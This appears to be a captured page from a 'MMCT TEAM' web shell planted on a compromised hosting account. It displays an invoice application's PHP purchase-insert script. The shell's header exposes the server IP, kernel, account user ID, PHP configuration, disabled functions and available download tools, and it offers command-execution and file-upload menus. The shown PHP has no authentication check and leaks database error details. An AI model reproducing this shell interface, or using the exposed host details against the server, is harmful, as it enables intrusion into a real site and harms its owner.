MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/invoice/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/invoice/ajax_insert_purchase.php
<?php
include 'db.php';

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $invoice_no = $_POST['invoice_no'];
    $vendor_id = $_POST['vendor_id'];
    $bill_date = $_POST['bill_date'];

    // Insert into `purchases` table
    $stmt = $con->prepare("INSERT INTO purchases (invoice_no, vendor_id, bill_date) VALUES (?, ?, ?)");
    if (!$stmt) {
        die("Prepare failed for purchases: (" . $con->errno . ") " . $con->error);
    }

    $stmt->bind_param("sis", $invoice_no, $vendor_id, $bill_date);
    if (!$stmt->execute()) {
        die("Execute failed for purchases: (" . $stmt->errno . ") " . $stmt->error);
    }

    $purchase_id = $stmt->insert_id;
    $stmt->close();

    // Insert items into `purchase_items`
    foreach ($_POST['kt_docs_repeater_basic'] as $item) {
        $product_id = $item['pid'];
        $qty_type = ($item['qtytype'] == "0") ? 0 : 1; // Store as 0 for NOS, 1 for KG
        $quantity = $item['quantity'];
        $price = $item['price'];
        $total = $item['total'];

        $stmt = $con->prepare("INSERT INTO purchase_items (purchase_id, product_id, qty_type, quantity, price, total) VALUES (?, ?, ?, ?, ?, ?)");
        if (!$stmt) {
            die("Prepare failed for purchase_items: (" . $con->errno . ") " . $con->error);
        }

        $stmt->bind_param("iiisii", $purchase_id, $product_id, $qty_type, $quantity, $price, $total);
        if (!$stmt->execute()) {
            die("Execute failed for purchase_items: (" . $stmt->errno . ") " . $stmt->error);
        }

        $stmt->close();
    }

    echo "<script>
        alert('Purchase saved successfully!');
        window.location.href = 'add_purchaseEntry.php';
    </script>";
}
?>

MMCT - 2023